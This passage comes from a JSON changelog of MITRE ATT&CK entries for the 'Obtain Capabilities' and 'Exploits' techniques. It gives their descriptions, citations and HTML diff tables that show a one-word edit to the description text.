nowrap=\"nowrap\">ed&nbsp;during&nbsp;targeting.&nbsp;Rather&nbsp;than&nbsp;developing&nbsp;their&nbsp;own&nbsp;capabi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;during&nbsp;targeting.&nbsp;Rather&nbsp;than&nbsp;developing&nbsp;their&nbsp;own&nbsp;capabi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lities&nbsp;in-house,&nbsp;adversaries&nbsp;may&nbsp;purchase,&nbsp;freely&nbsp;download,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lities&nbsp;in-house,&nbsp;adversaries&nbsp;may&nbsp;purchase,&nbsp;freely&nbsp;download,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;steal&nbsp;them.&nbsp;Activities&nbsp;may&nbsp;include&nbsp;the&nbsp;acquisition&nbsp;of&nbsp;mal</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;steal&nbsp;them.&nbsp;Activities&nbsp;may&nbsp;include&nbsp;the&nbsp;acquisition&nbsp;of&nbsp;mal</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ware,&nbsp;software&nbsp;(including&nbsp;licenses),&nbsp;exploits,&nbsp;certificates,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ware,&nbsp;software&nbsp;(including&nbsp;licenses),&nbsp;exploits,&nbsp;certificates,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;information&nbsp;relating&nbsp;to&nbsp;vulnerabilities.&nbsp;Adversaries&nbsp;ma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;information&nbsp;relating&nbsp;to&nbsp;vulnerabilities.&nbsp;Adversaries&nbsp;ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;obtain&nbsp;capabilities&nbsp;to&nbsp;support&nbsp;their&nbsp;operations&nbsp;throughout</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;obtain&nbsp;capabilities&nbsp;to&nbsp;support&nbsp;their&nbsp;operations&nbsp;throughout</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;numerous&nbsp;phases&nbsp;of&nbsp;the&nbsp;adversary&nbsp;lifecycle.&nbsp;&nbsp;In&nbsp;addition&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;numerous&nbsp;phases&nbsp;of&nbsp;the&nbsp;adversary&nbsp;lifecycle.&nbsp;&nbsp;In&nbsp;addition&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;downloading&nbsp;free&nbsp;malware,&nbsp;software,&nbsp;and&nbsp;exploits&nbsp;from&nbsp;the&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;downloading&nbsp;free&nbsp;malware,&nbsp;software,&nbsp;and&nbsp;exploits&nbsp;from&nbsp;the&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nternet,&nbsp;adversaries&nbsp;may&nbsp;purchase&nbsp;these&nbsp;capabilities&nbsp;from&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nternet,&nbsp;adversaries&nbsp;may&nbsp;purchase&nbsp;these&nbsp;capabilities&nbsp;from&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ird-party&nbsp;entities.&nbsp;Third-party&nbsp;entities&nbsp;can&nbsp;include&nbsp;technol</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ird-party&nbsp;entities.&nbsp;Third-party&nbsp;entities&nbsp;can&nbsp;include&nbsp;technol</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ogy&nbsp;companies&nbsp;that&nbsp;specialize&nbsp;in&nbsp;malware&nbsp;and&nbsp;exploits,&nbsp;crimi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ogy&nbsp;companies&nbsp;that&nbsp;specialize&nbsp;in&nbsp;malware&nbsp;and&nbsp;exploits,&nbsp;crimi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nal&nbsp;marketplaces,&nbsp;or<span class=\"diff_sub\">&nbsp;from</span>&nbsp;individuals.(Citation:&nbsp;NationsBuyi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nal&nbsp;marketplaces,&nbsp;or&nbsp;individuals.(Citation:&nbsp;NationsBuying)(C</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng)(Citation:&nbsp;PegasusCitizenLab)&nbsp;&nbsp;In&nbsp;addition&nbsp;to&nbsp;purchasing&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;PegasusCitizenLab)&nbsp;&nbsp;In&nbsp;addition&nbsp;to&nbsp;purchasing&nbsp;capab</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">capabilities,&nbsp;adversaries&nbsp;may&nbsp;steal&nbsp;capabilities&nbsp;from&nbsp;third-</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ilities,&nbsp;adversaries&nbsp;may&nbsp;steal&nbsp;capabilities&nbsp;from&nbsp;third-party</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">party&nbsp;entities&nbsp;(including&nbsp;other&nbsp;adversaries).&nbsp;This&nbsp;can&nbsp;inclu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;entities&nbsp;(including&nbsp;other&nbsp;adversaries).&nbsp;This&nbsp;can&nbsp;include&nbsp;st</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;stealing&nbsp;software&nbsp;licenses,&nbsp;malware,&nbsp;SSL/TLS&nbsp;and&nbsp;code-sig</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ealing&nbsp;software&nbsp;licenses,&nbsp;malware,&nbsp;SSL/TLS&nbsp;and&nbsp;code-signing&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ning&nbsp;certificates,&nbsp;or&nbsp;raiding&nbsp;closed&nbsp;databases&nbsp;of&nbsp;vulnerabil</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">certificates,&nbsp;or&nbsp;raiding&nbsp;closed&nbsp;databases&nbsp;of&nbsp;vulnerabilities</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ities&nbsp;or&nbsp;exploits.(Citation:&nbsp;DiginotarCompromise)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;or&nbsp;exploits.(Citation:&nbsp;DiginotarCompromise)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1056: Pre-compromise"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0850: Detection of Obtain Capabilities"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-01 02:17:46.086000+00:00",
                    "modified": "2026-11-04 03:29:56.204000+00:00",
                    "name": "Exploits",
                    "description": "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Stealth](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "resource-development"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1588/005",
                            "external_id": "T1588.005"
                        },
                        {
                            "source_name": "PegasusCitizenLab",
                            "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
                            "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/"
                        },
                        {
                            "source_name": "NationsBuying",
                            "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
                            "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
                        },
                        {
                            "source_name": "Exploit Database",
                            "description": "Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020.",
                            "url": "https://www.exploit-db.com/"
                        },
                        {
                            "source_name": "TempertonDarkHotel",
                            "description": "Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.",
                            "url": "https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage"
                        },
                        {
                            "source_name": "Wired SandCat Oct 2019",
                            "description": "Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020.",
                            "url": "https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "PRE"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:29:56.204000+00:00\", \"old_value\": \"2025-10-24 17:49:36.851000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\\n\\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\\n\\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\\n\\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Stealth](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).\", \"old_value\": \"Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\\n\\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\\n\\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\\n\\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Stealth](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\\n \\n-In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\\n+In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\\n \\n An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to55__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to55__0\"><a href=\"#difflib_chg_to55__top\">t</a></td><td class=\"diff_header\" id=\"from55_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;buy,&nbsp;steal,&nbsp;or&nbsp;download&nbsp;exploits&nbsp;that&nbsp;can&nbsp;be</td><td class=\"diff_next\"><a href=\"#difflib_chg_to55__top\">t</a></td><td class=\"diff_header\" id=\"to55_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;buy,&nbsp;steal,&nbsp;or&nbsp;download&nbsp;exploits&nbsp;that&nbsp;can&nbsp;be</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;used&nbsp;during&nbsp;targeting.&nbsp;An&nbsp;exploit&nbsp;takes&nbsp;advantage&nbsp;of&nbsp;a&nbsp;bug&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;used&nbsp;during&nbsp;targeting.&nbsp;An&nbsp;exploit&nbsp;takes&nbsp;advantage&nbsp;of&nbsp;a&nbsp;bug&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;vulnerability&nbsp;in&nbsp;order&nbsp;to&nbsp;cause&nbsp;unintended&nbsp;or&nbsp;unanticipat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;vulnerability&nbsp;in&nbsp;order&nbsp;to&nbsp;cause&nbsp;unintended&nbsp;or&nbsp;unanticipat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;behavior&nbsp;to&nbsp;occur&nbsp;on&nbsp;computer&nbsp;hardware&nbsp;or&nbsp;software.&nbsp;Rathe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;behavior&nbsp;to&nbsp;occur&nbsp;on&nbsp;computer&nbsp;hardware&nbsp;or&nbsp;software.&nbsp;Rathe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;than&nbsp;developing&nbsp;their&nbsp;own&nbsp;exploits,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;find/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;than&nbsp;developing&nbsp;their&nbsp;own&nbsp;exploits,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;find/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">modify&nbsp;exploits&nbsp;from&nbsp;online&nbsp;or&nbsp;purchase&nbsp;them&nbsp;from&nbsp;exploit&nbsp;ve</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">modify&nbsp;exploits&nbsp;from&nbsp;online&nbsp;or&nbsp;purchase&nbsp;them&nbsp;from&nbsp;exploit&nbsp;ve</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ndors.(Citation:&nbsp;Exploit&nbsp;Database)(Citation:&nbsp;TempertonDarkHo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ndors.(Citation:&nbsp;Exploit&nbsp;Database)(Citation:&nbsp;TempertonDarkHo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tel)(Citation:&nbsp;NationsBuying)&nbsp;&nbsp;In&nbsp;addition&nbsp;to&nbsp;downloading&nbsp;fr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tel)(Citation:&nbsp;NationsBuying)&nbsp;&nbsp;In&nbsp;addition&nbsp;to&nbsp;downloading&nbsp;fr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ee&nbsp;exploits&nbsp;from&nbsp;the&nbsp;internet,&nbsp;adversaries&nbsp;may&nbsp;purchase&nbsp;expl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ee&nbsp;exploits&nbsp;from&nbsp;the&nbsp;internet,&nbsp;adversaries&nbsp;may&nbsp;purchase&nbsp;expl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oits&nbsp;from&nbsp;third-party&nbsp;entities.&nbsp;Third-party&nbsp;entities&nbsp;can&nbsp;inc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oits&nbsp;from&nbsp;third-party&nbsp;entities.&nbsp;Third-party&nbsp;entities&nbsp;can&nbsp;inc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lude&nbsp;technology&nbsp;companies&nbsp;that&nbsp;specialize&nbsp;in&nbsp;exploit&nbsp;develop</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lude&nbsp;technology&nbsp;companies&nbsp;that&nbsp;specialize&nbsp;in&nbsp;exploit&nbsp;develop</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ment,&nbsp;criminal&nbsp;marketplaces&nbsp;(including&nbsp;exploit&nbsp;kits),&nbsp;or<span class=\"diff_sub\">&nbsp;fro</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ment,&nbsp;criminal&nbsp;marketplaces&nbsp;(including&nbsp;exploit&nbsp;kits),&nbsp;or&nbsp;ind</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">m</span>&nbsp;individuals.(Citation:&nbsp;PegasusCitizenLab)(Citation:&nbsp;Wired&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ividuals.(Citation:&nbsp;PegasusCitizenLab)(Citation:&nbsp;Wired&nbsp;SandC</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">SandCat&nbsp;Oct&nbsp;2019)&nbsp;In&nbsp;addition&nbsp;to&nbsp;purchasing&nbsp;exploits,&nbsp;advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">at&nbsp;Oct&nbsp;2019)&nbsp;In&nbsp;addition&nbsp;to&nbsp;purchasing&nbsp;exploits,&nbsp;adversaries</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;may&nbsp;steal&nbsp;and&nbsp;repurpose&nbsp;exploits&nbsp;from&nbsp;third-party&nbsp;enti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;steal&nbsp;and&nbsp;repurpose&nbsp;exploits&nbsp;from&nbsp;third-party&nbsp;entities&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ties&nbsp;(including&nbsp;other&nbsp;adversaries).(Citation:&nbsp;TempertonDarkH</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(including&nbsp;other&nbsp;adversaries).(Citation:&nbsp;TempertonDarkHotel)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">otel)&nbsp;&nbsp;An&nbsp;adversary&nbsp;may&nbsp;monitor&nbsp;exploit&nbsp;provider&nbsp;forums&nbsp;to&nbsp;u</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;An&nbsp;adversary&nbsp;may&nbsp;monitor&nbsp;exploit&nbsp;provider&nbsp;forums&nbsp;to&nbsp;unders</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nderstand&nbsp;the&nbsp;state&nbsp;of&nbsp;existing,&nbsp;as&nbsp;well&nbsp;as&nbsp;newly&nbsp;discovered</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tand&nbsp;the&nbsp;state&nbsp;of&nbsp;existing,&nbsp;as&nbsp;well&nbsp;as&nbsp;newly&nbsp;discovered,&nbsp;exp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;exploits.&nbsp;There&nbsp;is&nbsp;usually&nbsp;a&nbsp;delay&nbsp;between&nbsp;when&nbsp;an&nbsp;exploit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">loits.&nbsp;There&nbsp;is&nbsp;usually&nbsp;a&nbsp;delay&nbsp;between&nbsp;when&nbsp;an&nbsp;exploit&nbsp;is&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;is&nbsp;discovered&nbsp;and&nbsp;when&nbsp;it&nbsp;is&nbsp;made&nbsp;public.&nbsp;An&nbsp;adversary&nbsp;may&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iscovered&nbsp;and&nbsp;when&nbsp;it&nbsp;is&nbsp;made&nbsp;public.&nbsp;An&nbsp;adversary&nbsp;may&nbsp;targe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">target&nbsp;the&nbsp;systems&nbsp;of&nbsp;those&nbsp;known&nbsp;to&nbsp;conduct&nbsp;exploit&nbsp;researc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;the&nbsp;systems&nbsp;of&nbsp;those&nbsp;known&nbsp;to&nbsp;conduct&nbsp;exploit&nbsp;research&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;and&nbsp;development&nbsp;in&nbsp;order&nbsp;to&nbsp;gain&nbsp;that&nbsp;knowledge&nbsp;for&nbsp;use&nbsp;du</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;development&nbsp;in&nbsp;order&nbsp;to&nbsp;gain&nbsp;that&nbsp;knowledge&nbsp;for&nbsp;use&nbsp;during&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ring&nbsp;a&nbsp;subsequent&nbsp;operation.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;exploits&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;subsequent&nbsp;operation.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;exploits&nbsp;during</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uring&nbsp;various&nbsp;phases&nbsp;of&nbsp;the&nbsp;adversary&nbsp;lifecycle&nbsp;(i.e.&nbsp;[Explo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;various&nbsp;phases&nbsp;of&nbsp;the&nbsp;adversary&nbsp;lifecycle&nbsp;(i.e.&nbsp;[Exploit&nbsp;Pu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">it&nbsp;Public-Facing&nbsp;Application](https://attack.mitre.org/techn</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">blic-Facing&nbsp;Application](https://attack.mitre.org/techniques</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iques/T1190),&nbsp;[Exploitation&nbsp;for&nbsp;Client&nbsp;Execution](https://at</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/T1190),&nbsp;[Exploitation&nbsp;for&nbsp;Client&nbsp;Execution](https://attack.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1203),&nbsp;[Exploitation&nbsp;for&nbsp;Privileg</td><td 